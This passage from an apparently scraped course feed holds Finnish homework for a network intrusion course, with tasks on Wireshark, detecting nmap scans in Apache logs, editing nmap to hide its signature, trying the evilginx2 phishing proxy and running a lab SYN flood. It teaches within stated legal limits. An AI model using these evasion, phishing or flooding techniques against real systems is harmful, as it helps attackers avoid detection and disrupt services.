&lt;p>a) Vapaaehtoinen: Hei maailma. Sieppaa liikennettä WireSharkilla. Merkitse TCP/IP-pinon kerrokset ruutukaappaukseen. Raportti sivuna weppiin. Palauta linkki Laksuun ja ristiinarvioi vähintään kaksi.&lt;/p>
&lt;p>Vinkit&lt;/p>
&lt;ul>
&lt;li>Karvinen 2023: &lt;a href="https://terokarvinen.com/2023/create-a-web-page-using-github/">Create a Web Page Using Github&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>Update 2025-10-21 w43 Tue: päivitin vastaamaan tunnilla annettua tehtävää.&lt;/p>
&lt;h3 id="h1-sniff">h1 Sniff&lt;/h3>
&lt;ul>
&lt;li>x) Lue ja tiivistä. (Tässä x-alakohdassa ei tarvitse tehdä testejä tietokoneella, vain lukeminen tai kuunteleminen ja tiivistelmä riittää. Tiivistämiseen riittää muutama ranskalainen viiva.)
&lt;ul>
&lt;li>Karvinen 2025: &lt;a href="https://terokarvinen.com/wireshark-getting-started/">Wireshark - Getting Started&lt;/a>&lt;/li>
&lt;li>Karvinen 2025: &lt;a href="https://terokarvinen.com/network-interface-linux/">Network Interface Names on Linux&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>a) Linux. Asenna Debian tai Kali Linux virtuaalikoneeseen. (Tätä alakohtaa ei poikkeuksellisesti tarvitse raportoida, jos sinulla ei ole mitään ongelmia. Jos on mitään haasteita, tee täsmällinen raportti)&lt;/li>
&lt;li>b) Ei voi kalastaa. Osoita, että pystyt katkaisemaan ja palauttamaan virtuaalikoneen Internet-yhteyden.&lt;/li>
&lt;li>c) Wireshark. Asenna Wireshark. Sieppaa liikennettä Wiresharkilla. (Vain omaa liikennettäsi. Voit käyttää tähän esimerkiksi virtuaalikonetta).&lt;/li>
&lt;li>d) Oikeesti TCP/IP. Osoita TCP/IP-mallin neljä kerrosta yhdestä siepatusta paketista. Voit selityksen tueksi laatikoida ne ruutukaappauksesta. (Voit käyttää vastauksesi osana ruutukaappaustasi h0-tehtävästä, mutta tässä tehtävässä tarvitaan myös sanallinen selitys.)&lt;/li>
&lt;li>e) Mitäs tuli surffattua? Avaa &lt;a href="surfing-secure.pcap">surfing-secure.pcap&lt;/a>. Tutustu siihen pintapuolisesti ja kuvaile, millainen kaappaus on kyseessä. Tässä siis vain lyhyesti ja yleisellä tasolla. Voit esimerkiksi vilkaista, montako konetta näkyy, mitä protokollia pistää silmään. Määrästä voit arvioida esimerkiksi pakettien lukumäärää, kaappauksen kokoa ja kestoa.&lt;/li>
&lt;li>f) Vapaaehtoinen, vaikea: Mitä selainta käyttäjä käyttää? &lt;a href="surfing-secure.pcap">surfing-secure.pcap&lt;/a> (Päivitys 2025-03-31 w14 ma - muutin tehtävän vapaaehtoiseksi Giang:n suosituksesta)&lt;/li>
&lt;li>g) Minkä merkkinen verkkokortti käyttäjällä on? &lt;a href="surfing-secure.pcap">surfing-secure.pcap&lt;/a>&lt;/li>
&lt;li>h) Millä weppipalvelimella käyttäjä on surffaillut? &lt;a href="surfing-secure.pcap">surfing-secure.pcap&lt;/a>
&lt;ul>
&lt;li>Huonoja uutisia: yhteys on suojattu TLS-salauksella.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>i) Analyysi. Sieppaa pieni määrä omaa liikennettäsi. Analysoi se, eli selitä mahdollisimman perusteellisesti, mitä tapahtuu. (Tässä pääpaino on siis analyysillä ja selityksellä, joten liikennettä kannattaa ottaa tarkasteluun todella vähän - vaikka vain pari pakettia. Gurut huomio: Selitä myös mielestäsi yksinkertaiset asiat.)&lt;/li>
&lt;/ul>
&lt;p>Vinkit&lt;/p>
&lt;ul>
&lt;li>Karvinen 2024: &lt;a href="https://terokarvinen.com/2021/install-debian-on-virtualbox/">Install Debian on Virtualbox - Updated 2024&lt;/a>&lt;/li>
&lt;li>Verkkoyhteyttä testatessa voi vaikkapa ottaa yhteyttä Internet-mammuttien nimipalvelimiin, joilla on helposti muistettavat numerot
&lt;ul>
&lt;li>ping 1.1.1.1 # Cloudfare&lt;/li>
&lt;li>ping 8.8.8.8 # Google&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>TCP/IP-pinosta löytyy hyvä kertaus: Wikipedia: &lt;a href="https://en.wikipedia.org/wiki/Internet_protocol_suite">Internet protocol suite&lt;/a>&lt;/li>
&lt;li>Läpikävely selaimen selvittämiseen kohdassa f. Giang 2025: H1 Sniff: &lt;a href="https://github.com/gianglex/Courses/blob/6e74794c2e27752698f9bff0455a927843d9f934/Verkkoon-Tunkeutuminen-ja-Tiedustelu/h1-sniff.md#f-mit%C3%A4-selainta-k%C3%A4ytt%C3%A4j%C3%A4-k%C3%A4ytt%C3%A4%C3%A4">f) Mitä selainta käyttäjä käyttää? (spoiler)&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>Update 2025-10-21 w43 Tue: Lisäsin d-kohtaan, että halutessaan voi hyödyntää h0-tehtävän ruutukaappausta tässä.&lt;/p>
&lt;p>Teron tehtävä.&lt;/p>
&lt;h3 id="h2-lempivari-violetti">h2: Lempiväri: violetti&lt;/h3>
&lt;h4 id="h2-taustaa">h2 Taustaa&lt;/h4>
&lt;p>Tässä taustaosiossa olevia linkattuja artikkeleita ei tarvitse lukea tai tiivistää, ellei tehtävissä erikseen pyydetä.&lt;/p>
&lt;p>Tämän tehtävän tavoite on tunnistaa hyökkäystyökaluja; ja välttää tunnistamista.&lt;/p>
&lt;p>&lt;em>Mitään ulkopuolisia koneita ei saa porttiskannata. Irrota tarvittaessa koneet Internetistä testien ajaksi. Kohdista kaikki hyökkäykset ja porttiskannaukset vain annettuihin harjoitusmaaleihin. Tehtävän saa aloittaa vasta, kun on hyväksynyt kurssin säännöt.&lt;/em>&lt;/p>
&lt;p>Kybertappoketjusta (&lt;a href="https://www.lockheedmartin.com/content/dam/lockheed-martin/rms/photo/cyber/THE-CYBER-KILL-CHAIN-body.png.pc-adaptive.1280.medium.png">kuva&lt;/a>, &lt;a href="https://lockheedmartin.com/content/dam/lockheed-martin/rms/documents/cyber/LM-White-Paper-Intel-Driven-Defense.pdf">artikkeli&lt;/a>) opimme, että hyökkääjä altistuu tunnistamiselle hyökkäyksen jokaisessa vaiheessa. Työkalut jättävät jälkiä, joista hyökkäyksen voi tunnistaa.&lt;/p>
&lt;p>Itse hyökätessämme voimme asentaa laboratorioon puolustajan järjestelmää muistuttavan ympäristön. Silloin voimme säätää hyökkäystyökalut vaikeasti tunnistettaviksi.&lt;/p>
&lt;p>Tässä harjoituksessa&lt;/p>
&lt;ul>
&lt;li>Tunnistetaan hyökkääjän porttiskannaus&lt;/li>
&lt;li>Kilpavarustellaan - hyökkääjä piiloutuu, mutta riittäkö se?&lt;/li>
&lt;li>Muokataan hyökkäystyökalua väistämään tunnistusta&lt;/li>
&lt;li>Arvioidaan omia hyökkäystyökaluja kahdesta näkökulmasta
&lt;ul>
&lt;li>Verkkoliikenne - yleinen tapa&lt;/li>
&lt;li>Kohdejärjestelmän loki - erityinen, tiettyyn puolustajaan sovellettu&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;p>Läheiset käsitteet (taustatietoa, ei tarvitse tiivistää eikä lukea kokonaan)&lt;/p>
&lt;ul>
&lt;li>Tuskan pyramidi (Bianco 2013: &lt;a href="http://detect-respond.blogspot.com/2013/03/the-pyramid-of-pain.html">Pyramid of Pain&lt;/a>)&lt;/li>
&lt;li>Kybertappoketju (Hutchins et al 2011: &lt;a href="https://lockheedmartin.com/content/dam/lockheed-martin/rms/documents/cyber/LM-White-Paper-Intel-Driven-Defense.pdf">Cyber Kill Chain&lt;/a>)&lt;/li>
&lt;li>Timanttimalli (Caltagirone et al 2013: &lt;a href="https://www.threatintel.academy/wp-content/uploads/2020/07/diamond-model.pdf">Diamond Model&lt;/a>)&lt;/li>
&lt;li>MITRE &lt;a href="https://attack.mitre.org/">ATT&amp;amp;CK&lt;/a> (Mitrellä jäi caps-lockki JUMIIN)&lt;/li>
&lt;/ul>
&lt;h4 id="h2-tehtavanannot">h2 Tehtävänannot&lt;/h4>
&lt;p>Kaikissa kohdissa edellytetään analyysia ja selitystä. Selvitä ja selitä siis komentojen ja komentoriviparametrien merkitys. Selitä, mitä tulokset tarkoittavat; ja mitä niistä tulisi ymmärtää. Lue vinkit, ennenkuin aloitat.&lt;/p>
&lt;ul>
&lt;li>x) Lue ja vastaa lyhyesti kysymyksiin. Tässä alakohdassa x ei tällä kertaa tarvitse lukea artikkeleita kokonaan, ei tarvitse tiivistää niitä, eikä tehdä testejä koneella.
&lt;ul>
&lt;li>Selitä tuskan pyramidin idea 1-2 virkkeellä. Bianco 2013: &lt;a href="http://detect-respond.blogspot.com/2013/03/the-pyramid-of-pain.html">Pyramid of Pain&lt;/a>. (Katso eritoten pyramidin kuvaa.)&lt;/li>
&lt;li>Selitä timanttimallin (Diamond Model) idea 1-2 virkkeellä. Tekijä esittelee sen aika juhlallisesti, voit myös etsiä yksinkertaisempia artikkeleita &lt;a href="https://duckduckgo.com/?t=ftsa&amp;amp;q=diamond+model+attacker+capability+infrastructure&amp;amp;ia=web">hakukoneella&lt;/a> tai kelata suoraan timantin kuvaan. Caltagirone et al 2013: &lt;a href="https://www.threatintel.academy/wp-content/uploads/2020/07/diamond-model.pdf">Diamond Model&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>a) &lt;em>Apache log&lt;/em>. Asenna Apache-weppipalvelin paikalliselle virtuaalikoneellesi. Surffaa palvelimellesi salaamattomalla HTTP-yhteydellä, http://localhost . Etsi omaa sivulataustasi vastaava lokirivi. Analysoi yksi tällainen lokirivi, eli selitä sen kaikki kohdat. (Jos Apache ei ole kovin tuttu, voit tätä tehtävää varten vain asentaa sen ja testata oletusweppisivulla. Eli ei tarvitse tehdä omia kotisvuja tms.)&lt;/li>
&lt;li>b) &lt;em>Nmapped&lt;/em>. Porttiskannaa oma weppipalvelimesi käyttäen localhost-osoitetta ja 'nmap -A' päällä. Selitä tulokset. (Pelkkä http-portti 80/tcp riittää)&lt;/li>
&lt;li>c) &lt;em>Skriptit&lt;/em>. Mitkä skriptit olivat automaattisesti päällä, kun käytit &amp;quot;-A&amp;quot; parametria? (Näkyy avoimien porttinumeroiden alta, http-blah, http-blöh...).&lt;/li>
&lt;li>d) &lt;em>Jäljet lokissa&lt;/em>. Etsi weppipalvelimen lokeista jäljet porttiskannauksesta (NSE eli Nmap Scripting Engine -skripteistä skannauksessa). Löydätkö sanan &amp;quot;nmap&amp;quot; isolla tai pienellä? Selitä osumat. Millaisilla hauilla tai säännöillä voisit tunnistaa porttiskannauksen jostain muusta lokista, jos se on niin laaja, että et pysty lukemaan itse kaikkia rivejä?&lt;/li>
&lt;li>e) &lt;em>Wire sharking&lt;/em>. Sieppaa verkkoliikenne porttiskannatessa Wiresharkilla. Huomaa, että localhost käyttää &amp;quot;Loopback adapter&amp;quot; eli &amp;quot;lo&amp;quot;. Tallenna pcap. Etsi kohdat, joilla on sana &amp;quot;nmap&amp;quot; ja kommentoi niitä. Jokaisen paketin jokaista kohtaa ei tarvitse analysoida, yleisempi tarkastelu riittää.&lt;/li>
&lt;li>f) &lt;em>Net grep&lt;/em>. Sieppaa verkkoliikenne 'ngrep' komennolla ja näytä kohdat, joissa on sana &amp;quot;nmap&amp;quot;.&lt;/li>
&lt;li>g) &lt;em>Agentti&lt;/em>. Vaihda nmap:n user-agent niin, että se näyttää tavalliselta weppiselaimelta.&lt;/li>
&lt;li>h) &lt;em>Pienemmät jäljet&lt;/em>. Porttiskannaa weppipalvelimesi uudelleen localhost-osoitteella. Tarkastele sekä Apachen lokia että siepattua verkkoliikennettä. Mikä on muuttunut, kun vaihdoit user-agent:n? Löytyykö lokista edelleen tekstijono &amp;quot;nmap&amp;quot;?&lt;/li>
&lt;li>i) Hieman vaikeampi: &lt;em>LoWeR ChEcK&lt;/em>. Poista skritiskannauksesta viimeinenkin &amp;quot;nmap&amp;quot; -teksti. Etsi löytämääsi tekstiä /usr/share/nmap -hakemistosta ja korvaa se toisella. Tee porttiskannaus ja tarkista, että &amp;quot;nmap&amp;quot; ei näy isolla eikä pienellä kirjoitettuna Apachen lokissa eikä siepatussa verkkoliikenteessä. (Tässä tehtävässä voit muokata suoraan lua-skriptejä /usr/share/nmap alta, 'sudoedit'. Muokatun version paketoiminen siis rajataan ulos tehtävästä.)&lt;/li>
&lt;li>j) &lt;em>FCC ID&lt;/em>. Etsi valitsemasi langattoman laitteen tiedot FCC ID:llä. Mitä liikenteen purkamista tai manipuloimista hyödyttävää tietoa löydät?&lt;/li>
&lt;li>k) Vapaaehtoinen, vaikea: &lt;em>Invisible, invincible&lt;/em>. Etsi jokin toinen nmap:n skripti, jonka verkkoliikenteessä esiintyy merkkijono &amp;quot;nmap&amp;quot; isolla tai pienellä. Muuta nmap:n koodia niin, että tuo merkkijono ei enää näy verkkoliikenteessä.&lt;/li>
&lt;/ul>
&lt;p>Vinkit&lt;/p>
&lt;ul>
&lt;li>Nämä komennot ovat ulkomuistista, niissä saattaa olla kirjjoitusvirheittä.&lt;/li>
&lt;li>Apachen asennus
&lt;ul>
&lt;li>sudo apt-get update&lt;/li>
&lt;li>sudo apt-get install apache2&lt;/li>
&lt;li>sudo systemctl start apache2&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Apachen lokit
&lt;ul>
&lt;li>/var/log/apache2/&lt;/li>
&lt;li>sudo tail -F /var/log/apache2/access.log&lt;/li>
&lt;li>(Useimmat muut lokit ovat nykyisin 'sudo journalctl --follow')&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Porttiskannaus
&lt;ul>
&lt;li>'sudo nmap -A localhost'&lt;/li>
&lt;li>'sudo nmap -T4 -vv -A -p 80 localhost'&lt;/li>
&lt;li>Vain omia koneita saa porttiskannata&lt;/li>
&lt;li>Kannattaa irrottaa kone Internetistä testien ajaksi&lt;/li>
&lt;li>&lt;a href="https://finlex.fi/fi/oikeuskaytanto/korkein-oikeus/ennakkopaatokset/2003/36">KKO 2003:36&lt;/a> ja tämä siis 17-vuotiaalle eli juridisesti lapselle. Tekopäivä 1998, oikeudessa edelleen 2003. Käsittely oikeudessa kesti siis pidempään kuin mitä taposta olisi tullut istuttavaa. Esimerkki eri henkilöistä ja tapauksesta: &lt;a href="https://www.hs.fi/suomi/art-2000011028122.html">Taposta&lt;/a> vankeutta alle 7 vuotta, ensikertalaisen alennus 50%, istuttavaa noin 3.5 vuotta.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Wireshark
&lt;ul>
&lt;li>Näytä vain paketit, joissa on tietty sana? Dislay filter: frame contains &amp;quot;nmap&amp;quot;&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>sudo ngrep -d lo -i nmap&lt;/li>
&lt;li>Nmap
&lt;ul>
&lt;li>--script-args http.useragent=&amp;quot;BSD experimental on XBox350 alpha (emulated on Nokia 3110)&amp;quot;&lt;/li>
&lt;li>Mitä tiedostoja on asentunut nmap:n mukana? 'dpkg --listfiles nmap nmap-common'&lt;/li>
&lt;li>Missä niistä mainitaan jokin tietty skripti, vaikkapa http-title? 'dpkg --listfiles nmap nmap-common |grep http-title'&lt;/li>
&lt;li>Nmap:n skriptit ja niiden käyttämä kirjasto löytyvät /usr/share/nmap/&lt;/li>
&lt;li>Voit hakea jotain hakusanaa kaikista hakemistoista työhakemistosta alaspäin
&lt;ul>
&lt;li>grep -ir &amp;quot;tero&amp;quot;&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;p>Teron tehtävä.&lt;/p>
&lt;h3 id="h3-messuilla">h3 Messuilla&lt;/h3>
&lt;p>Osallistu &lt;a href="https://cybersecuritynordic.messukeskus.com/">Cyber Security Nordic&lt;/a> -tapahtumaan.&lt;/p>
&lt;p>x) Läksyksi tästä tapahtumasta teidän tulee tehdä lyhyt raportti siitä, mitä yrityksiä tapasitte, mitä mielenkiintoisia palveluita / tuotteita (max 3kpl) löysitte. (Tässä alakohdassa ei tarvitse tehdä testejä koneella.)&lt;/p>
&lt;p>Suosittelen osallistumaan messuille. Mikäli et missään tapauksessa halua osallistua messuille, voit vaihtoehtotehtävänä laatia tiivistelmän täyspitkästä hakkeritapahtuman esityksestä verkosta löytämästäsi videosta (esim. Disobey, Black Hat...).&lt;/p>
&lt;p>Teron ja Larin tehtävä.&lt;/p>
&lt;h3 id="h4-nfc-ja-rfid">h4 NFC ja RFID&lt;/h3>
&lt;ul>
&lt;li>a) Tarkastele käytössäsi olevia RFID tuotteita, mieti miten hyvin olet suojautunut RFID urkinnalta?&lt;/li>
&lt;li>b) Tutustu APDU komentojen rakenteeseen (voit käyttää tekoälyä tutustumiseen)&lt;/li>
&lt;li>c) Tutki ja kerro minkä mielenkiintoisen RFID hakkerointi uutiset löysit. (Vinkki, useimmat liittyvät henkilökortteihin)&lt;/li>
&lt;/ul>
&lt;p>Larin tehtävä.&lt;/p>
&lt;h3 id="h5-laboratorio--ja-simulaatioymparistot-hyokkayksissa">h5 Laboratorio- ja simulaatioympäristöt hyökkäyksissä&lt;/h3>
&lt;p>Lataathan mininet virtuaalikoneen ennen luentoa ja pyrit saaman sen käyntiin.&lt;/p>
&lt;ul>
&lt;li>a) Tutustu seuraavaan työkaluun &lt;a href="https://github.com/kgretzky/evilginx2">https://github.com/kgretzky/evilginx2&lt;/a> . Vastaa seuraaviin kysymyksiin
&lt;ul>
&lt;li>Asensitko työkalun, jos asensit niin kirjoita miten sen teit.&lt;/li>
&lt;li>Mitä teit työkalun kanssa?&lt;/li>
&lt;li>Onnistuitko huijaamaan liikennettä&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>b) Sinulla on käytössäsi mininet-ympäristö. Luo ympäristö, jossa voit tehdä TCP SYN-Flood hyökkäyksen.
&lt;ul>
&lt;li>Kirjoita miten loit mininet ympäristön ja miten toteutit hyökkäyksen.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;p>&lt;a href="https://www.vmware.com/products/desktop-hypervisor/workstation-and-fusion">VMWare Fusion and Workstation&lt;/a>&lt;/p>
&lt;p>&lt;a href="https://iso-anttila.dy.fi/download/mininet-lab.ova.xz">Mininet-harjoitus kone&lt;/a> (Lari avaa latauksen ilmoittamanaan aikana)&lt;/p>
&lt;p>Larin tehtävä.&lt;/p>
&lt;h3 id="h6-wifi">h6 WiFi&lt;/h3>
&lt;ul>
&lt;li>a) Tutustu wifi challenge lab 2.1 harjoitus ympäristöön ja käytä tarvittaessa hyväksesi jo olemassa olevia ohjeita.&lt;/li>
&lt;li>b) Kirjoita raportti siitä mitä opit ja mitkä asia yllättivät sinut kun tutustuit harjoitukseen.&lt;/li>
&lt;li>c) Miten suhtautumisesi WLanin turvallisuuteen muuttui sen jälkeen kun teit harjoitukset?&lt;/li>
&lt;/ul>
&lt;p>&lt;a href="https://lab.wifichallenge.com/">WiFiChallenge Lab v2.1&lt;/a>&lt;/p>
&lt;p>Larin tehtävä&lt;/p>
&lt;h3 id="h7-aaltoja-harjaamassa">h7 Aaltoja harjaamassa&lt;/h3>
&lt;p>&lt;em>Lapsena softaradiot olivat tieteisfiktiota. Sitten salaisia projekteja. Sitten kalliita. Ja nyt käytössämme alkaen 25 EUR.&lt;/em>&lt;/p>
&lt;p>&lt;em>Tässä harjoituksessa analysoit siepattuja signaaleja sekä automaattisesti että hieman myös käsin.&lt;/em>&lt;/p>
&lt;p>&lt;em>Lue myös vinkit ennen kuin aloitat käytännön harjoitukset.&lt;/em>&lt;/p>
&lt;ul>
&lt;li>x) Lue ja tiivistä. (Tässä x-alakohdassa ei tarvitse tehdä testejä tietokoneella, vain lukeminen tai kuunteleminen ja tiivistelmä riittää. Tiivistämiseen riittää muutama ranskalainen viiva.)
&lt;ul>
&lt;li>Hubacek 2019: &lt;a href="https://youtu.be/sbqMqb6FVMY?t=199">Universal Radio Hacker SDR Tutorial on 433 MHz radio plugs&lt;/a> (Video, alkaen 3:19 ja päättyen 7:40. Yhteensä noin 4 min.)&lt;/li>
&lt;li>Cornelius 2022: &lt;a href="https://www.onetransistor.eu/2022/01/decode-433mhz-ask-signal.html">Decode 433.92 MHz weather station data&lt;/a>&lt;/li>
&lt;li>Vapaaehtoinen, vaikeahko: Lohner 2019: &lt;a href="https://github.karllohner.com/SDR/Decoding/Example_2019-01-24/">Decoding ASK/OOK_PPM Signals with URH and rtl_433&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>a) WebSDR. Etäkäytä WebSDR-ohjelmaradiota, joka on kaukana sinusta ja kuuntele radioliikennettä. Radioliikenne tulee siepata niin, että radiovastaanotin on joko eri maassa tai vähintään 400 km paikasta, jossa teet tätä tehtävää. Käytä esimerkkinä julkista, suurelle yleisölle tarkoitettua viestiä, esimerkiksi yleisradiolähetystä. Kerro löytämäsi taajuus, aallonpituus ja modulaatio. Kuvaile askeleet ja ota ruutukaappaus. (Tehtävässä ei saa ilmaista sellaisen viestin sisältöä tai olemassaoloa, joka ei ole tarkoitettu julkiseksi. Voit sen sijaan kuvailla, miten sait julkisen radiolähetyksen kuulumaan kaiuttimistasi. Julkisten, esimerkiksi yleisradiolähetysten sisältöä saa tietysti kuvailla.)&lt;/li>
&lt;li>b) rtl_433. Asenna rtl_433 automaattista analyysia varten. Kokeile, että voit ajaa sitä. &lt;nobr>'./rtl_433'&lt;/nobr> vastaa &amp;quot;rtl_433 version 25.02 branch...&amp;quot;&lt;/li>
&lt;li>c) Automaattinen analyysi. Mitä tässä näytteessä tapahtuu? Mitä tunnisteita (id yms) löydät? &lt;a href="samples/Converted_433.92M_2000k.cs8">Converted_433.92M_2000k.cs8&lt;/a>. Analysoi näyte 'rtl_433' ohjelmalla.&lt;/li>
&lt;li>d) Too compex 16? Olet nauhoittanut näytteen 'urh' -ohjelmalla .complex16s-muodossa. Muunna näyte rtl_433-yhteensopivaan muotoon ja analysoi se. Näyte &lt;a href="samples/Recorded-HackRF-20250411_183354-433_92MHz-2MSps-2MHz.complex16s">Recorded-HackRF-20250411_183354-433_92MHz-2MSps-2MHz.complex16s&lt;/a>&lt;/li>
&lt;li>e) Ultimate. Asenna URH, the Ultimate Radio Hacker.&lt;/li>
&lt;li>Tarkastele näytettä &lt;a href="samples/1-on-on-on-HackRF-20250412_113805-433_912MHz-2MSps-2MHz.complex16s">1-on-on-on-HackRF-20250412_113805-433_912MHz-2MSps-2MHz.complex16s&lt;/a>. Siinä Nexan pistorasian kaukosäätimen valon 1 ON -nappia on painettu kolmesti. Käytä Ultimate Radio Hacker 'urh' -ohjelmaa.
&lt;ul>
&lt;li>f) Yleiskuva. Kuvaile näytettä yleisesti: kuinka pitkä, millä taajuudella, milloin nauhoitettu? Miltä näyte silmämääräisesti näyttää?&lt;/li>
&lt;li>g) Bittistä. Demoduloi signaali niin, että saat raakabittejä. Mikä on oikea modulaatio? Miten pitkä yksi raakabitti on ajassa? Kuvaile tätä aikaa vertaamalla sitä johonkin. (Monissa singaaleissa on line encoding, eli lopullisia bittejä varten näitä &amp;quot;raakabittejä&amp;quot; on vielä käsiteltävä)&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>h) Vapaaehtoinen: Sdr++. Kokeile &lt;a href="https://www.sdrpp.org/">sdr++&lt;/a> -sovellusta ja esittele sillä jokin &amp;quot;hei maailma&amp;quot; -tyyppinen esimerkki.&lt;/li>
&lt;li>i) Vapaaehtoinen, vaikeahko: GNU Radio. Asenne &lt;a href="https://www.gnuradio.org/">GNU Radio&lt;/a> ja tee sillä yksinkertainen &amp;quot;Hei maailma&amp;quot;.&lt;/li>
&lt;/ul>
&lt;p>Vinkit&lt;/p>
&lt;ul>
&lt;li>WebSDR
&lt;ul>
&lt;li>Löydät asemia hakukoneilla. Niitä voi käyttää selaimella.&lt;/li>
&lt;li>Valitse taajuus ja modulaatio. Säätele, kunnes radiolähetys kuuluu kaiuttimista.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>rtl_433
&lt;ul>
&lt;li>Purkaa automaattisesti lukuisia protokollia&lt;/li>
&lt;li>Tukee muitakin taajuuksia kuin 433 MHz&lt;/li>
&lt;li>Kalissa 'sudo apt-get install rtl_433' (ja Sid:ssä)&lt;/li>
&lt;li>Debianissa ja muissa
&lt;ul>
&lt;li>Projektin Github-sivulta &lt;a href="https://github.com/merbanan/rtl_433">merbanan/rtl_433&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/merbanan/rtl_433/releases">Releases-sivulta&lt;/a> tuorein versio, jossa on:
&lt;ul>
&lt;li>Linux&lt;/li>
&lt;li>amd64&lt;/li>
&lt;li>SoapySDR (ei vaikuta tähän harjoitukseen, mutta vaaditaan esim HackRF-tukeen)&lt;/li>
&lt;li>Omaan järjestelmään sopiva OpenSSL versio, Debian 12-Bookworm kanssa 3&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>$ sudo apt-get -y install atool wget libssl-dev libtool libusb-1.0-0-dev librtlsdr-dev rtl-sdr libsoapysdr-dev&lt;/li>
&lt;li>$ wget &lt;a href="https://github.com/merbanan/rtl_433/releases/download/25.02/rtl_433-soapysdr-openssl3-Linux-amd64-25.02.zip">https://github.com/merbanan/rtl_433/releases/download/25.02/rtl_433-soapysdr-openssl3-Linux-amd64-25.02.zip&lt;/a>&lt;/li>
&lt;li>$ aunpack rtl*.zip&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Voi lukea suoraan radiolta (oletus) tai tiedostosta
&lt;ul>
&lt;li>$ rtl_433 -r foo_433.92M_1000k.cs8&lt;/li>
&lt;li>$ man rtl_433&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Tiedostomuodon muuttaminen 'urh' complex16s -&amp;gt; 'rtl_433' cs8
&lt;ul>
&lt;li>Vain tiedoston nimi muuttuu&lt;/li>
&lt;li>Tiedoston nimessä pitää olla oikea taajuus (center frequency) ja näytteenottotaajuus (sample rate)&lt;/li>
&lt;li>Erottimena alaviiva&lt;/li>
&lt;li>foo_433.92M_1000k.cs8&lt;/li>
&lt;li>&lt;a href="https://github.com/merbanan/rtl_433/blob/ac1e4a8c5a36fb90e3b06c0f01cef00bb3b2614d/docs/IQ_FORMATS.md#file-name-meta-data">File name meta data&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Ultimate Radio Hacker 'urh'
&lt;ul>
&lt;li>URH avulla voi analysoida lähetteitä&lt;/li>
&lt;li>Tässä kokeilemme analyysin alkuvaiheita, joissa saadut bitit eivät vielä ole niitä lopullisia bittejä&lt;/li>
&lt;li>Helppo asennus, sopii valmiiksi kaapattujen signaalien analyysiin
&lt;ul>
&lt;li>$ sudo apt-get update&lt;/li>
&lt;li>$ sudo apt-get -y install pipx&lt;/li>
&lt;li>$ pipx install urh&lt;/li>
&lt;li>$ pipx ensurepath&lt;/li>
&lt;li>sulje ja avaa terminaali&lt;/li>
&lt;li>$ urh&lt;/li>
&lt;li>URH graafinen käyttöliittymä aukeaa&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Signaalien sieppaamiseen tarvitaan laitetuki omalle softaradiolle. Tätä varten jouduin itse kääntämään sorsista ja säätelemään. Tässä tehtävässä et tarvitse laitetukea softaradiolle.&lt;/li>
&lt;li>Voit leikata (crop) signaalia valitsemalla sen aallosta. Crop löytyy kontekstivalikosta, joka aukeaa hiiren oikealla napilla.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="https://www.gqrx.dk/">Gqrx&lt;/a> löytyy Debianin paketinhallinnasta&lt;/li>
&lt;li>Läpikävely (walktrough / spoiler): &lt;a href="https://github.com/nurminenkasper/Verkkoon-tunkeutuminen-ja-tiedustelu/blob/main/h3/h3-Aaltoja-harjaamassa.md">Nurminen 2025: h3 Aaltoja harjaamassa&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="h8-bonus">h8 Bonus&lt;/h3>
&lt;p>Vapaaehtoinen: Bonus: luettele ja linkitä tähän tekemäsi&lt;/p>
&lt;ul>
&lt;li>a) Vapaaehtoiset tehtävät&lt;/li>
&lt;li>b) Arvioinnin jälkeen olennaisesti parannetut tehtävät&lt;/li>
&lt;li>c) Kurssin ulkopuolinen sovellusten hakkeroinnin menestys
&lt;ul>
&lt;li>Esimerkiksi lipunryöstöissä sovellusten hakkeroinnista&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;p>Määräaika 24 h ennen viimeistä tapaamiskertaa eli sama kuin edellisellä tehtävällä.&lt;/p></description></item><item><title>Information Security - 2026 early spring</title><link>https://terokarvinen.com/information-security/</link><pubDate>Mon, 05 Jan 2026 17:05:43 +0200</pubDate><guid>https://terokarvinen.com/information-security/</guid><description>
&lt;img src="https://terokarvinen.com/information-security/shield-check-line_hu732098b6b41c8c792c0929bd905e1b34_9956_100x100_fit_box_3.png" width="100" height="100" alt=" " class="imgOne right pad">
&lt;p>Understand adversarial view on security. Recognize key concepts of security. Be able to safely practice hands-on with security tools.&lt;/p>
&lt;p>Face-to-face in a real life classroom. In English.&lt;/p>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>&lt;/th>
&lt;th>&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>Course name and code:&lt;/td>
&lt;td>Information Security ICI002AS2AE-3006 (&lt;a href="https://opinto-opas.haaga-helia.fi/course/ICI002AS2AE">study guide&lt;/a>)&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Timing&lt;/td>
&lt;td>2026 period 3, w03-w11, not w08&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Credits&lt;/td>
&lt;td>5 ECTS&lt;/td>
&lt;/tr>
&lt;tr>
